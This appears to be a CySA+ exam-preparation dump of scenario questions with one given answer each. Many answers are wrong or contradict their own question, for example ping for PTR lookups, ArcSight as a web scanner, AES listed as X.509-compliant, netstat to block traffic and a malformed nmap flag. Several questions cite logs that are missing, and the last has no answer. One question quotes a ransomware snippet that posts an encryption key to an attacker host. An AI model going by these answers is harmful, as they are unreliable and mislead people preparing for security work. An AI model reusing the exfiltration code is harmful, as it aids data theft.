Operation Pass CySA+

After reading about data breaches at a competing company, senior leaders in an organization have grown increasingly concerned about social engineering attacks. They want to increase awareness among staff regarding this threat, but do not want to use traditional training methods because they regard these methods as ineffective. Which of the following approaches would BEST meet the requirements?

Classroom training on the dangers of social media followed by a test and gift certificates for any employee getting a perfect score

An organization wants to harden its web servers. As part of this goal, leadership has directed that vulnerability scans be performed, and the security team should remediate the servers according to industry best practices. The team has already chosen a vulnerability scanner and performed the necessary scans, and now the team needs to prioritize the fixes. Which of the following would help to prioritize the vulnerabilities for remediation in accordance with industry best practices?

CVSS

A pharmacy gives its clients online access to their records and the ability to review bills and make payments. A new SSL vulnerability on a special platform was discovered, allowing an attacker to capture the data between the end user and the web server providing these services. After investigating the platform vulnerability, it was determined that the web services provided are being impacted by this new threat. Which of the following data types are MOST likely at risk of exposure based on this new threat? (Choose two.)

Cardholder data Personal health information

An ATM in a building lobby has been compromised. A security technician has been advised that the ATM must be forensically analyzed by multiple technicians. Which of the following items in a forensic tool kit would likely be used FIRST? (Select TWO).

Chain of custody form Write blockers

Company A's security policy states that only PKI authentication should be used for all SSH accounts. A security analyst from Company A is reviewing the following auth.log and configuration settings: Which of the following changes should be made to the following sshd_config file to establish compliance with the policy?

Change PassworAuthentication yes to PasswordAuthentication no

A security audit revealed that port 389 has been used instead of 636 when connecting to LDAP for the authentication of users. The remediation recommended by the audit was to switch the port to 636 wherever technically possible. Which of the following is the BEST response?

Change all devices and servers that support it to 636, as encrypted services run by default on 636.

An analyst received a forensically sound copy of an employee's hard drive. The employee's manager suspects inappropriate images may have been deleted fromthe hard drive. Which of the following could help the analyst recover the deleted evidence?

File carving tool

A web application has a newly discovered vulnerability in the authentication method used to validate known company users. The user ID of Admin with a password of "password" grants elevated access to the application over the Internet. Which of the following is the BEST method to discover the vulnerability before a production deployment?

Input validation

During a web application vulnerability scan, it was discovered that the application would display inappropriate data after certain key phrases were entered into a webform connected to a SQL database server. Which of the following should be used to reduce the likelihood of this type of attack returning sensitive data?

Input validation

Which of the following stakeholders would need to be aware of an e-discovery notice received by the security office about an ongoing case within the manufacturing department?

Legal

A security analyst discovers a network intrusion and quickly solves the problem by closing an unused port. Which of the following should be completed?

Lessons learned report

Which of the following actions should occur to address any open issues while closing an incident involving various departments within the network?

Lessons learned report

Which of the following items represents a document that includes detailed information on when an incident was detected, how impactful the incident was, and how it was remediated, in addition to incident response effectiveness and any identified gaps needing improvement?

Lessons learned report

On which of the following organizational resources is the lack of an enabled password or PIN a common vulnerability?

Mobile devices

Various devices are connecting and authenticating to a single evil twin within the network. Which of the following are MOST likely being targeted?

Mobile devices

A company's asset management software has been discovering a weekly increase in non-standard software installed on end users' machines with duplicate license keys. The security analyst wants to know if any of this software is listening on any non-standard ports, such as 6667. Which of the following tools shouldthe analyst recommend to block any command and control traffic?

Netstat

A Chief Information Security Officer (CISO) wants to standardize the company's security program so it can be objectively assessed as part of an upcoming audit requested by management. Which of the following would holistically assist in this effort?

NIST

The Chief Executive Officer (CEO) instructed the new Chief Information Security Officer (CISO) to provide a list of enhancement to the company's cybersecurity operation. As a result, the CISO has identified the need to align security operations with industry best practices. Which of the following industry references is appropriate to accomplish this?

NIST

Due to new regulations, a company has decided to institute an organizational vulnerability management program and assign the function to the security team. Which of the following frameworks would BEST support the program? (Choose two.)

NIST ITIL

Due to new regulations, a company has decided to institute an organizational vulnerability management program and assign the function to the security team. Which of the following frameworks would BEST support the program? (Select two.)

NIST ITIL

An organization is experiencing degradation of critical services and availability of critical external resources. Which of the following can be used to investigate the issue?

Netflow analysis

The security operations team is conducting a mock forensics investigation. Which of the following should be the FIRST action taken after seizing a compromised workstation?

Perform evidence acquisition

A malicious user is reviewing the following output: root:~#ping 192.168.1.137 64 bytes from 192.168.2.1 icmp_seq=1 ttl=63 time=1.58 ms 64 bytes from 192.168.2.1 icmp_seq=2 ttl=63 time=1.45 ms root: ~# Based on the above output, which of the following is the device between the malicious user and the target?

Proxy

A SIEM analyst noticed a spike in activities from the guest wireless network to several electronic health record (EHR) systems. After further analysis, the analyst discovered that a large volume of data has been uploaded to a cloud provider in the last six months. Which of the following actions should the analyst do FIRST?

Put an ACL on the gateway router

A company has decided to process credit card transactions directly. Which of the following would meet the requirements for scanning this type of data?

Quarterly

Policy allows scanning of vulnerabilities during production hours, but production servers have been crashing lately due to unauthorized scans performed by junior technicians. Which of the following is the BEST solution to avoid production server downtime due to these types of scans?

Require vulnerability scans be performed by trained personnel.

A security analyst wants to scan the network for active hosts. Which of the following host characteristics help to differentiate between a virtual and physical host?

Reserved MACs

An organization is attempting to harden its web servers and reduce the information that might be disclosed by potential attackers. A security analyst is reviewing vulnerability scan results from a recent web server scan. Portions of the scan results are shown below: Which of the following lines indicates information disclosure about the host that needs to be remediated?

Response: :\Documents\MarySmith\mailingList.pdf

A retail corporation with widely distributed store locations and IP space must meet PCI requirements relating to vulnerability scanning. The organization plans to outsource this function to a third party to reduce costs. Which of the following should be used to communicate expectations related to the execution of scans?

SLA

A security analyst was asked to join an outage call for a critical web application. The web middleware support team determined the web server is running and having no trouble processing requests; however, some investigation has revealed firewall denies to the web server that began around 1.00 a.m. that morning. An emergency change was made to enable the access, but management has asked for a root cause determination. Which of the following would be the BEST next step?

Search the logging servers for any rule changes.

After implementing and running an automated patching tool, a security administrator ran a vulnerability scan that reported no missing patches found. Which of the following BEST describes why this tool was used?

To harden the servers against new attacks.

A Linux-based file encryption malware was recently discovered in the wild. Prior to running the malware on a preconfigured sandbox to analyze its behavior, a security professional executes the following command: umount a t cifs,nfsWhich of the following is the main reason for executing the above command?

To limit the malware's reach to the local host.

A security analyst received a compromised workstation. The workstation's hard drive may contain evidence of criminal activities. Which of the following is the FIRST thing the analyst must do to ensure the integrity of the hard drive while performing the analysis?

Use write blockers

The development team recently moved a new application into production for the accounting department. After this occurred, the Chief Information Officer (CIO) was contacted by the head of accounting because the application is missing a key piece of functionality that is needed to complete the corporation's quarterly tax returns. Which of the following types of testing would help prevent this from reoccurring?

User acceptance testing

The software development team pushed a new web application into production for the accounting department. Shortly after the application was published, the head of the accounting department informed IT operations that the application was not performing as intended. Which of the following SDLC best practices was missed?

User acceptance testing

A cybersecurity consultant found common vulnerabilities across the following services used by multiple servers at an organization: VPN, SSH, and HTTPS. Which of the following is the MOST likely reason for the discovered vulnerabilities?

Weak level of encryption entropy

After completing a vulnerability scan, the following output was noted: CVE-2011-3389 QID 42366 - SSLv3.0 /TLSv1.0 Protocol weak CBC mode Server side vulnerability Check with: openssl s_client -connect qualys.jive.mobile.com:443 - tlsl -cipher "AES:CAMELLIA:SEED:3DES:DES" Which of the following vulnerabilities has been identified?

Web application cryptography vulnerability

A cybersecurity analyst is reviewing log data and sees the output below: Which of the following technologies MOST likely generated this log?

Web application firewall

A recent audit has uncovered several coding errors and a lack of input validation being used on a public portal. Due to the nature of the portal and the severity of the errors, the portal is unable to be patched. Which of the following tools could be used to reduce the risk of being compromised?

Web application firewall

Which of the following is a technology used to provide Internet access to internal associates without exposing the Internet directly to the associates?

Web proxy

A cybersecurity analyst has several log files to review. Instead of using grep and cat commands, the analyst decides to find a better approach to analyze the logs. Given a list of tools, which of the following would provide a more efficient way for the analyst to conduct a timeline analysis, do keyword searches, and output a report?

Splunk

A security analyst is creating ACLs on a perimeter firewall that will deny inbound packets that are from internal addresses, reversed external addresses, and multicast addresses. Which of the following is the analyst attempting to prevent?

Spoofing attacks

A security analyst has been asked to remediate a server vulnerability. Once the analyst has located a patch for the vulnerability, which of the following should happen NEXT?

Start the change control process

A computer has been infected with a virus and is sending out a beacon to command and control server through an unknown service. Which of the following should a security technician implement to drop the traffic going to the command and control server and still be able to identify the infected host through firewall logs?

Sinkhole

Which of the following utilities could be used to resolve an IP address to a domain name, assuming the address has a PTR record?

ping

While reviewing firewall logs, a security analyst at a military contractor notices a sharp rise in activity from a foreign domain known to have well-funded groups that specifically target the company's R&D department. Historical data reveals other corporate assets were previously targeted. This evidence MOST likely describes:

an APT

A security professional is analyzing the results of a network utilization report. The report includes the following information: Which of the following servers needs further investigation?

hr.dbprod.01

An organization has a policy prohibiting remote administration of servers where web services are running. One of the Nmap scans is shown here: Given the organization's policy, which of the following services should be disabled on this server?

ssh

A cybersecurity analyst wants to use ICMP ECHO_REQUEST on a machine while using Nmap. Which of the following is the correct command to accomplish this?

$ nmap PE 192.168.1.7

An organization uses Common Vulnerability Scoring System (CVSS) scores to prioritize remediation of vulnerabilities.Management wants to modify the priorities based on a difficulty factor so that vulnerabilities with lower CVSS scores may get a higher priority if they are easier to implement with less risk to system functionality. Management also wants to quantify the priority. Which of the following would achieve management's objective?

(CVSS Score) / Difficulty = Priority Where Difficulty is a range from 1 to 10 with 10 being easiest and lowest risk to implement

Given a packet capture of the following scan: Which of the following should MOST likely be inferred on the scan's output?

192.168.1.55 is a file server.

A security analyst has been asked to scan a subnet. During the scan, the following output was generated:Based on the output above, which of the following is MOST likely?

192.168.100.214 is a web server

A red team actor observes it is common practice to allow cell phones to charge on company computers, but access to the memory storage is blocked. Which of the following are common attack techniques that take advantage of this practice? (Choose two.)

A Bluetooth attack that modifies the device registry (Windows PCs only) to allow the flash drive to mount, and then launches a Java applet attack A Bluetooth peering attack called "Snarfing" that allows Bluetooth connections on blocked device types if physically connected to a USB port

A recent vulnerability scan found four vulnerabilities on an organization's public Internet-facing IP addresses. Prioritizing in order to reduce the risk of a breach to the organization, which of the following should be remediated FIRST?

A buffer overflow that allows remote code execution.

After running a packet analyzer on the network, a security analyst has noticed the following output: Which of the following is occurring?

A port scan

Management wants to scan servers for vulnerabilities on a periodic basis. Management has decided that the scan frequency should be determined only by vendor patch schedules and the organization's application deployment schedule. Which of the following would force the organization to conduct an out-of-cycle vulnerability scan?

A vendor releases a critical patch update

Given the following access log: Which of the following accurately describes what this log displays?

A vulnerability scan performed from the Internet

File integrity monitoring states the following files have been changed without a written request or approved change. The following change has been made: chmod 777 Rv /usr Which of the following may be occurring?

Administrative commands have been made world readable/writable.

An analyst was tasked with providing recommendations of technologies that are PKI X.509 compliant for a variety of secure functions. Which of the following technologies meet the compatibility requirement? (Select three.)

AES PKCS SSL/TLS

A security administrator has uncovered a covert channel used to exfiltrate confidential data from an internal database server through a compromised corporate web server. Ongoing exfiltration is accomplished by embedding a small amount of data extracted from the database into the metadata of images served by the web server. File timestamps suggest that the server was initially compromised six months ago using a common server misconfiguration. Which of the following BEST describes the type of threat being used?

APT

A security analyst is performing a forensic analysis on a machine that was the subject of some historic SIEM alerts. The analyst noticed some network connections utilizing SSL on non-common ports, copies of svchost.exe and cmd.exe in %TEMP% folder, and RDP files that had connected to external IPs. Which of the following threats has the security analyst uncovered?

APT

A threat intelligence analyst who works for a technology firm received this report from a vendor. "There has been an intellectual property theft campaign executed against organizations in the technology industry. Indicators for this activity are unique to each intrusion. The information that appears to be targeted is R&D data. The data exfiltration appears to occur over months via uniform TTPs. Please execute a defensive operation regarding this attack vector." Which of the following combinations suggests how the threat should MOST likely be classified and the type of analysis that would be MOST helpful in protecting against this activity?

APT and behavioral analysis

A cybersecurity analyst is conducting packet analysis on the following: Which of the following is occurring in the given packet capture?

ARP spoofing

A database administrator contacts a security administrator to request firewall changes for a connection to a new internal application. The security administrator notices that the new application uses a port typically monopolized by a virus. The security administrator denies the request and suggests a new port or service be used to complete the application's task. Which of the following is the security administrator practicing in this example?

Access control lists

The help desk informed a security analyst of a trend that is beginning to develop regarding a suspicious email that has been reported by multiple users. The analyst has determined the email includes an attachment named invoice.zip that contains the following files: Locky.js xerty.ini xerty.lib Further analysis indicates that when the .zip file is opened, it is installing a new version of ransomware on the devices. Which of the following should be done FIRST to prevent data on the company NAS from being encrypted by infected devices?

Add the URL included in the .js file to the company's web proxy filter.

A production web server is experiencing performance issues. Upon investigation, new unauthorized applications have been installed and suspicious traffic was sent through an unused port. Endpoint security is not detecting any malware or virus. Which of the following types of threats would this MOST likely be classified as?

Advanced persistent threat

A threat intelligence feed has posted an alert stating there is a critical vulnerability in the kernel. Unfortunately, the company's asset inventory is not current. Which of the following techniques would a cybersecurity analyst perform to find all affected servers within an organization?

An OS fingerprinting scan across all hosts

A university wants to increase the security posture of its network by implementing vulnerability scans of both centrally managed and student/employee laptops. The solution should be able to scale, provide minimum false positives and high accuracy of results, and be centrally managed through an enterprise console. Which of the following scanning topologies is BEST suited for this environment?

An active scanning engine installed on the enterprise console

A security analyst has noticed an alert from the SIEM. A workstation is repeatedly trying to connect to port 445 of a file server on the production network. All of the attempts are made with invalid credentials. Which of the following describes what is occurring?

An attacker has gained control of the workstation and is attempting to pivot to the file server by creating an SMB session

Given the following log snippet:Which of the following describes the events that have occurred?

An attempt to make an SSH connection from 192.168.1.166 was done using PKI.

A cybersecurity analyst has received an alert that well-known "call home" messages are continuously observed by network sensors at the network boundary. The proxy firewall successfully drops the messages. After determining the alert was a true positive, which of the following represents the MOST likely cause?

An outside command and control system is attempting to reach an infected system.

A cybersecurity analyst has several SIEM event logs to review for possible APT activity. The analyst was given several items that include lists of indicators for both IP addresses and domains. Which of the following actions is the BEST approach for the analyst to perform?

Analyze the trends of the events while manually reviewing to see if any of the indicators match

A security analyst is reviewing packet captures for a specific server that is suspected of containing malware and discovers the following packets:Which of the following traffic patterns or data would be MOST concerning to the security analyst?

Anonymous access granted by 103.34.243.12

An organization wants to remediate vulnerabilities associated with its web servers. An initial vulnerability scan has been performed, and analysts are reviewing the results. Before starting any remediation, the analysts want to remove false positives to avoid spending time on issues that are not actual vulnerabilities. Which of the following would be an indicator of a likely false positive?

Any items labeled `low' are considered informational only.

A cybersecurity analyst is hired to review the security posture of a company. The cybersecurity analyst notices a very high network bandwidth consumption due to SYN floods from a small number of IP addresses. Which of the following would be the BEST action to take to support incident response?

Apply ingress filters at the routers.

QUESTION 307 Which of the following tools should an analyst use to scan for web server vulnerabilities?

ArcSight

The following IDS log was discovered by a company's cybersecurity analyst: Which of the following was launched against the company based on the IDS log?

Buffer overflow attack

A cybersecurity analyst is reviewing Apache logs on a web server and finds that some logs are missing. The analyst has identified that the systems administrator accidentally deleted some log files. Which of the following actions or rules should be implemented to prevent this incident from reoccurring?

Backup server

Which of the following best practices is used to identify areas in the network that may be vulnerable to penetration testing from known external sources?

Blue team training exercises

A security analyst has just completed a vulnerability scan of servers that support a business critical application that is managed by an outside vendor. The results of the scan indicate the devices are missing critical patches. Which of the following factors can inhibit remediation of these vulnerabilities? (Choose two.)

Business process interruption Required sandbox testing

When network administrators observe an increased amount of web traffic without an increased number of financial transactions, the company is MOST likely experiencing which of the following attacks?

DoS

An analyst is preparing for a technical security compliance check on all Apache servers. Which of the following will be the BEST to use?

CIS benchmark

A cybersecurity professional typed in a URL and discovered the admin panel for the e-commerce application is accessible over the open web with the default password. Which of the following is the MOST secure solution to remediate this vulnerability?

Change the username and default password, whitelist specific source IP addresses, and require two-factor authentication.

A security administrator uses FTK to take an image of a hard drive that is under investigation. Which of the following processes are used to ensure the image is the same as the original disk? (Choose two.)

Check the hash value between the image and the original Boot up the image and the original systems to compare

A new zero-day vulnerability was discovered within a basic screen capture app, which is used throughout the environment. Two days after discovering the vulnerability, the manufacturer of the software has not announced a remediation or if there will be a fix for this newly discovered vulnerability. The vulnerable application is not uniquely critical, but it is used occasionally by the management and executive management teams. The vulnerability allows remote code execution to gain privileged access to the system. Which of the following is the BEST course of actions to mitigate this threat?

Communicate with the end users that the application should not be used until the manufacturer has resolved the vulnerability.

A company allows employees to work remotely. The security administration is configuring services that will allow remote help desk personnel to work secure outside the company's headquarters. Which of the following presents the BEST solution to meet this goal?

Configure a VPN concentrator to terminate in the DMZ to allow help desk personnel access to resources.

A security analyst determines that several workstations are reporting traffic usage on port 3389. All workstations are running the latest OS patches according to patch reporting. The help desk manager reports some users are getting logged off of their workstations, and network access is running slower than normal. Theanalyst believes a zero-day threat has allowed remote attackers to gain access to the workstations. Which of the following are the BEST steps to stop the threat without impacting all services? (Choose two.)

Configure a group policy to disable RDP access. Enforce a password change for users on the network.

A cybersecurity consultant is reviewing the following output from a vulnerability scan against a newly installed MS SQL Server 2012 that is slated to go into production in one week:Based on the above information, which of the following should the system administrator do? (Select TWO).

Configure a network-based ACL at the perimeter firewall to protect the MS SQL port. Implement the proposed solution by installing Microsoft patch Q316333.

Several accounting department users are reporting unusual Internet traffic in the browsing history of their workstations after returning to work and logging in. The building security team informs the IT security team that the cleaning staff was caught using the systems after the accounting department users left for the day. Which of the following steps should the IT security team take to help prevent this from happening again? (Choose two.)

Configure a policy for workstation account timeout at three minutes. Configure NAC to set time-based restrictions on the accounting group to normal business hours.

An analyst finds that unpatched servers have undetected vulnerabilities because the vulnerability scanner does not have the latest set of signatures. Management directed the security team to have personnel update the scanners with the latest signatures at least 24 hours before conducting any scans, but the outcome is unchanged. Which of the following is the BEST logical control to address the failure?

Configure a script to automatically update the scanning tool.

A company's computer was recently infected with ransomware. After encrypting all documents, the malware logs a random AES-128 encryption key and associated unique identifier onto a compromised remote website. A ransomware code snippet is shown below: sendit = New-Object -ComObject Msxm12.XMLHTTP sendit.open("POST", "http://www.malwaresite.com/get.php") sendit.setRequestHeader ("Content-length", $post.length) sendit.setRequestHeader ("Connection", "close") sendit.send("key=$RANDOMKEY&UID=$RANDOMUID") Based on the information from the code snippet, which of the following is the BEST way for a cybersecurity professional to monitor for the same malware in the future?

Configure the company proxy server to deny connections to www.malwaresite.com.

A security analyst is performing a review of Active Directory and discovers two new user accounts in the accounting department. Neither of the users has elevated permissions, but accounts in the group are given access to the company's sensitive financial management application by default. Which of the following is the BEST course of action?

Confirm the accounts are valid and ensure role-based permissions are appropriate

A vulnerability scan has returned the following information:Which of the following describes the meaning of these results?

Connecting to the host using a null session allows enumeration of share names

A cybersecurity analyst traced the source of an attack to compromised user credentials. Log analysis revealed that the attacker successfully authenticated from an unauthorized foreign country. Management asked the security analyst to research and implement a solution to help mitigate attacks based on compromised passwords. Which of the following should the analyst implement?

Context-based authentication

A company decides to move three of its business applications to different outsourced cloud providers. After moving the applications, the users report the applications time out too quickly and too much time is spent logging back into the different web-based applications throughout the day. Which of the following should a security architect recommend to improve the end-user experience without lowering the security posture?

Create a group policy to extend the default system lockout period

The security configuration management policy states that all patches must undergo testing procedures before being moved into production. The security analyst notices a single web application server has been downloading and applying patches during non-business hours without testing. There are no apparent adverse reactions, server functionality does not seem to be affected, and no malware was found after a scan. Which of the following actions should the analyst take?

Create an incident ticket for anomalous activity

A cybersecurity analyst develops a regular expression to find data within traffic that will alarm on a hit. The SIEM alarms on seeing this data in cleartext between the web server and the database server. Which of the following types of data would the analyst MOST likely to be concerned with, and to which type of data classification does it belong?

Credit card numbers that are PCI

A cyber incident response team finds a vulnerability on a company website that allowed an attacker to inject malicious code into its web application. There have been numerous unsuspecting users visiting the infected page, and the malicious code executed on the victim's browser has led to stolen cookies, hijacked sessions, malware execution, and bypassed access control. Which of the following exploits is the attacker conducting on the company's website?

Cross-site scripting

After reviewing the following packet, a cybersecurity analyst has discovered an unauthorized service is running on a company's computer. Which of the following ACLs, if implemented, will prevent further access ONLY to the unauthorized service and will not impact other services?

DENY TCP ANY HOST 10.38.219.20 EQ 3389

A software development company in the manufacturing sector has just completed the alpha version of its flagship application. The application has been under development for the past three years. The SOC has seen intrusion attempts made by indicators associated with a particular APT. The company has a hot site location for COOP. Which of the following threats would most likely incur the BIGGEST economic impact for the company?

DDoS

A security analyst is reviewing packet captures to determine the extent of success during an attacker's reconnaissance phase following a recent incident. The following is a hex and ASCII dump of one such packet: Which of the following BEST describes this packet?

DNS BIND version request

A security operations team was alerted to abnormal DNS activity coming from a user's machine. The team performed a forensic investigation and discovered a host had been compromised. Malicious code was using DNS as a tunnel to extract data from the client machine, which had been leaked and transferred to an unsecure public Internet site. Which of the following BEST describes the attack?

Data exfiltration

In reviewing firewall logs, a security analyst has discovered the following IP address, which several employees are using frequently: 152.100.57.18 The organization's servers use IP addresses in the 192.168.0.1/24 CIDR. Additionally, the analyst has noticed that corporate data is being stored at this new location. A few of these employees are on the management and executive management teams. The analyst has also discovered that there is no record of this IP address or service in reviewing the known locations of managing system assets. Which of the following is occurring in this scenario?

Data exfiltration

A systems administrator is trying to secure a critical system. The administrator has placed the system behind a firewall, enabled strong authentication, and required all administrators of this system to attend mandatory training. Which of the following BEST describes the control being implemented?

Defense in depth

An investigation showed a worm was introduced from an engineer's laptop. It was determined the company does not provide engineers with company-owned laptops, which would be subject to company policy and technical controls. Which of the following would be the MOST secure control implement?

Deploy a company-wide approved engineering workstation for management access.

A cybersecurity analyst was hired to resolve a security issue within a company after it was reported that many employee account passwords had been compromised. Upon investigating the incident, the cybersecurity analyst found that a brute force attack was launched against the company. Which of the following remediation actions should the cybersecurity analyst recommend to senior management to address these security issues?

Deploy multifactor authentication

Which of the allowing is a best practice with regard to interacting with the media during an incident?

Designate a single port of contact and at least one backup for contact with the media.

A security analyst is conducting a vulnerability assessment of older SCADA devices on the corporate network. Which of the following compensating controls is likely to prevent the scans from providing value?

Detailed and tested firewall rules that effectively prevent outside access of the SCADA devices.

An analyst was testing the latest version of an internally developed CRM system. The analyst created a basic user account. Using a few tools in Kali's latest distribution, the analyst was able to access configuration files, change permissions on folders and groups, and delete and create new system objects. Which of the following techniques did the analyst use to perform these unauthorized activities?

Directory traversal

A security analyst is reviewing the following log after enabling key-based authentication. Dec 21 11:00:57 comptia sshd [5657]: Failed password for root from 95.58.255.62 port 38980 ssh2 Dec 21 20:08:26 comptia sshd[5768]: Failed password for root from 91.205.189.15 port 38156 ssh2 Dec 21 20:08:30 comptia sshd[5770]: Failed password for nobody from 91.205.189.15 port 38556 ssh2 Dec 21 20:08:34 comptia sshd[5772]: Failed password for invalid user asterisk from 91.205.189.15 port 38864 ssh2 Dec 21 20:08:38 comptia sshd[5774]: Failed password for invalid user sjobeck from 91.205.189.15 port 39157 ssh2 Dec 21 20:08:42 comptia sshd[5776]: Failed password for root from 91.205.189.15 port 39467 ssh2 Given the above information, which of the following steps should be performed NEXT to secure the system?

Disable password authentication for SSH

While reviewing web server logs, a security analyst notices the following code:Which of the following would prevent this code from performing malicious actions?

Disabling the use of HTTP and requiring the use of HTTPS

A vulnerability scan returned the following results for a web server that hosts multiple wiki sites: Apache-HTTPD-cve-2014-023: Apache HTTPD: mod_cgid denial of service CVE-2014-0231 Due to a flaw found in mog_cgid, a server using mod_cgid to host CGI scripts could be vulnerable to a DoS attack caused by a remote attacker who is exploiting a weakness in non-standard input, causing processes to hang indefinitely.The security analyst has confirmed the server hosts standard CGI scripts for the wiki sites, does not have mod_cgid installed, is running Apache 2.2.22, and is not behind a WAF. The server is located in the DMZ, and the purpose of the server is to allow customers to add entries into a publicly accessible database. Which of the following would be the MOST efficient way to address this finding?

Document the finding as a false positive

A company has implemented WPA2, a 20-character minimum for the WiFi passphrase, and a new WiFi passphrase every 30 days, and has disabled SSID broadcast on all wireless access points. Which of the following is the company trying to mitigate?

Downgrade attacks

The help desk informed a security analyst of a trend that is beginning to develop regarding a suspicious email that has been reported by multiple users. The analyst has determined the email includes an attachment named invoice.zip that contains the following files: Locky.js xerty.ini xerty.libFurther analysis indicates that when the .zip file is opened, it is installing a new version of ransomware on the devices. Which of the following should be done FIRST to prevent data on the company NAS from being encrypted by infected devices?

Email employees instructing them not to open the invoice attachment.

A business-critical application is unable to support the requirements in the current password policy because it does not allow the use of special characters. Management does not want to accept the risk of a possible security incident due to weak password standards. Which of the following is an appropriate means to limit the risks related to the application?

Encrypting authentication traffic

A technician receives a report that a user's workstation is experiencing no network connectivity. The technician investigates and notices the patch cable running the back of the user's VoIP phone is routed directly under the rolling chair and has been smashed flat over time. Which of the following is the most likely cause of this issue?

Excessive collisions

The Chief Security Officer (CSO) has requested a vulnerability report of systems on the domain, identifying those running outdated OSs. The automated scan reports are not displaying OS version details, so the CSO cannot determine risk exposure levels from vulnerable systems. Which of the following should the cybersecurity analyst do to enumerate OS information as part of the vulnerability scanning process in the MOST efficient manner?

Execute the ver command

A security analyst notices PII has been copied from the customer database to an anonymous FTP server in the DMZ. Firewall logs indicate the customer database has not been accessed from anonymous FTP server. Which of the following departments should make a decision about pursuing further investigation? (Choose two.)

Executive management

A security analyst is conducting traffic analysis and observes an HTTP POST to the company's main web server. The POST header is approximately 1000 bytes in length. During transmission, one byte is delivered every ten seconds. Which of the following attacks is the traffic indicative of?

Exfiltration

During a review of security controls, an analyst was able to connect to an external, unsecured FTP server from a workstation. The analyst was troubleshooting and reviewed the ACLs of the segment firewall the workstation is connected to: Based on the ACLs above, which of the following explains why the analyst was able to connect to the FTP server?

FTP was explicitly allowed in Seq 8 of the ACL.

In an effort to be proactive, an analyst has run an assessment against a sample workstation before auditors visit next month. The scan results are as follows: Microsoft Windows SMB Not Fully Accessible Detection Cannot Access the Windows Registry Scan Not Performed with Admin Privilege Based on the output of the scan, which of the following is the BEST answer?

Failed credentialed scan

An analyst has initiated an assessment of an organization's security posture. As a part of this review, the analyst would like to determine how much information about the organization is exposed externally. Which of the following techniques would BEST help the analyst accomplish this goal? (Select two.)

Fingerprinting Sourcing social network sites

Weeks before a proposed merger is scheduled for completion, a security analyst has noticed unusual traffic patterns on a file server that contains financial information. Routine scans are not detecting the signature of any known exploits or malware. The following entry is seen in the ftp server logs: tftp I 10.1.1.1 GET fourthquarterreport.xls Which of the following is the BEST course of action?

Follow the incident response procedure associate with the loss of business critical data.

A cybersecurity analyst is currently investigating a server outage. The analyst has discovered the following value was entered for the username: 0xbfff601a. Which of the following attacks may be occurring?

Format string attack

As part of the SDLC, software developers are testing the security of a new web application by inputting large amounts of random data. Which of the following types of testing is being performed?

Fuzzing

A software assurance lab is performing a dynamic assessment on an application by automatically generating and inputting different, random data sets to attempt to cause an error/failure condition. Which of the following software assessment capabilities is the lab performing AND during which phase of the SDLC should this occur? (Select two.)

Fuzzing Prototyping phase

A company wants to update its acceptable use policy (AUP) to ensure it relates to the newly implemented password standard, which requires sponsored authentication of guest wireless devices. Which of the following is MOST likely to be incorporated in the AUP?

Guests using the wireless network should provide valid identification when registering their wireless devices.

An analyst has received unusual alerts on the SIEM dashboard. The analyst wants to get payloads that the hackers are sending toward the target systems without impacting the business operation. Which of the following should the analyst implement?

Honeypot

A network technician is concerned that an attacker is attempting to penetrate the network, and wants to set a rule on the firewall to prevent the attacker from learning which IP addresses are valid on the network. Which of the following protocols needs to be denied?

ICMP

Which of the following organizations would have to remediate embedded controller vulnerabilities?

Hydroelectric facilities

In order to the leverage the power of data correlation with Nessus, a cybersecurity analyst must first be able to create a table for the scan results. Given the following snippet of code: CREATE TABLE MyResults ( ID INT AUTO_INCREMENT, IP TEXT, Port Text, PluginID INT, Type TEXT, Description TEXT, PRIMARY KEY ID (ID) ); Which of the following output items would be correct?

ID IP Port PluginID OS Description Primarykey A10 192.168.1.2 System (445/tcp) 1000 Microsoft Windows XP System Scan 2

The Chief Information Security Officer (CISO) has asked the security staff to identify a framework on which to base the security program. The CISO would like toachieve a certification showing the security program meets all required best practices. Which of the following would be the BEST choice?

ISO

A staff member reported that a laptop has degraded performance. The security analyst has investigated the issue and discovered that CPU utilization, memory utilization, and outbound network traffic are consuming the laptop resources. Which of the following is the BEST course of actions to resolve the problem?

Identify and remove malicious processes.

An organization is requesting the development of a disaster recovery plan. The organization has grown and so has its infrastructure. Documentation, policies, and procedures do not exist. Which of the following steps should be taken to assist in the development of the disaster recovery plan?

Identify assets.

A company has several internal-only, web-based applications on the internal network. Remote employees are allowed to connect to the internal corporate network with a company-supplied VPN client. During a project to upgrade the internal application, contractors were hired to work on a database server and were given copies of the VPN client so they could work remotely. A week later, a security analyst discovered an internal web-server had been compromised by malware that originated from one of the contractor's laptops. Which of the following changes should be made to BEST counter the threat presented in this scenario?

Implement NAC to check for updated anti-malware signatures and location-based rules for PCs connecting to the internal network.

While reviewing three months of logs, a security analyst notices probes from random company laptops going to SCADA equipment at the company's manufacturing location. Some of the probes are getting responses from the equipment even though firewall rules are in place, which should block this type of unauthorized activity. Which of the following should the analyst recommend to keep this activity from originating from company laptops?

Implement a group policy on company systems to block access to SCADA networks

An organization has recently recovered from an incident where a managed switch had been accessed and reconfigured without authorization by an insider. The incident response team is working on developing a lessons learned report with recommendations. Which of the following recommendations will BEST prevent the same attack from occurring in the future?

Implement a separate logical network segment for management interfaces

A cybersecurity analyst is reviewing the current BYOD security posture. The users must be able to synchronize their calendars, email, and contacts to a smartphone or other personal device. The recommendation must provide the most flexibility to users. Which of the following recommendations would meet both the mobile data protection efforts and the business requirements described in this scenario?

Implement a wireless network configured for mobile device access and monitored by sensors.

A security analyst with an international response team is working to isolate a worldwide distribution of ransomware. The analyst is working with internationalgoverning bodies to distribute advanced intrusion detection routines for this variant of ransomware. Which of the following is the MOST important step with which the security analyst should comply?

Incident response forms

A recently issued audit report highlighted exceptions related to end-user handling of sensitive data and access credentials. A security manager is addressing the findings. Which of the following activities should be implemented?

Increase training requirements

A cybersecurity analyst has received a report that multiple systems are experiencing slowness as a result of a DDoS attack. Which of the following would be the BEST action for the cybersecurity analyst to perform?

Inform management of the incident.

A security analyst is attempting to configure a vulnerability scan for a new segment on the network. Given the requirement to prevent credentials from traversing the network while still conducting a credentialed scan, which of the following is the BEST choice?

Install agents on the endpoints to perform the scan

A server contains baseline images that are deployed to sensitive workstations on a regular basis. The images are evaluated once per month for patching and other fixes, but do not change otherwise. Which of the following controls should be put in place to secure the file server and ensure the images are not changed?

Install and configure a file integrity monitoring tool on the server and allow updates to the images each month.

A nuclear facility manager determined the need to monitor utilization of water within the facility. A startup company just announced a state-of-the-art solution to address the need for integrating the business and ICS network. The solution requires a very small agent to be installed on the ICS equipment. Which of the following is the MOST important security control for the manager to invest in to protect the facility?

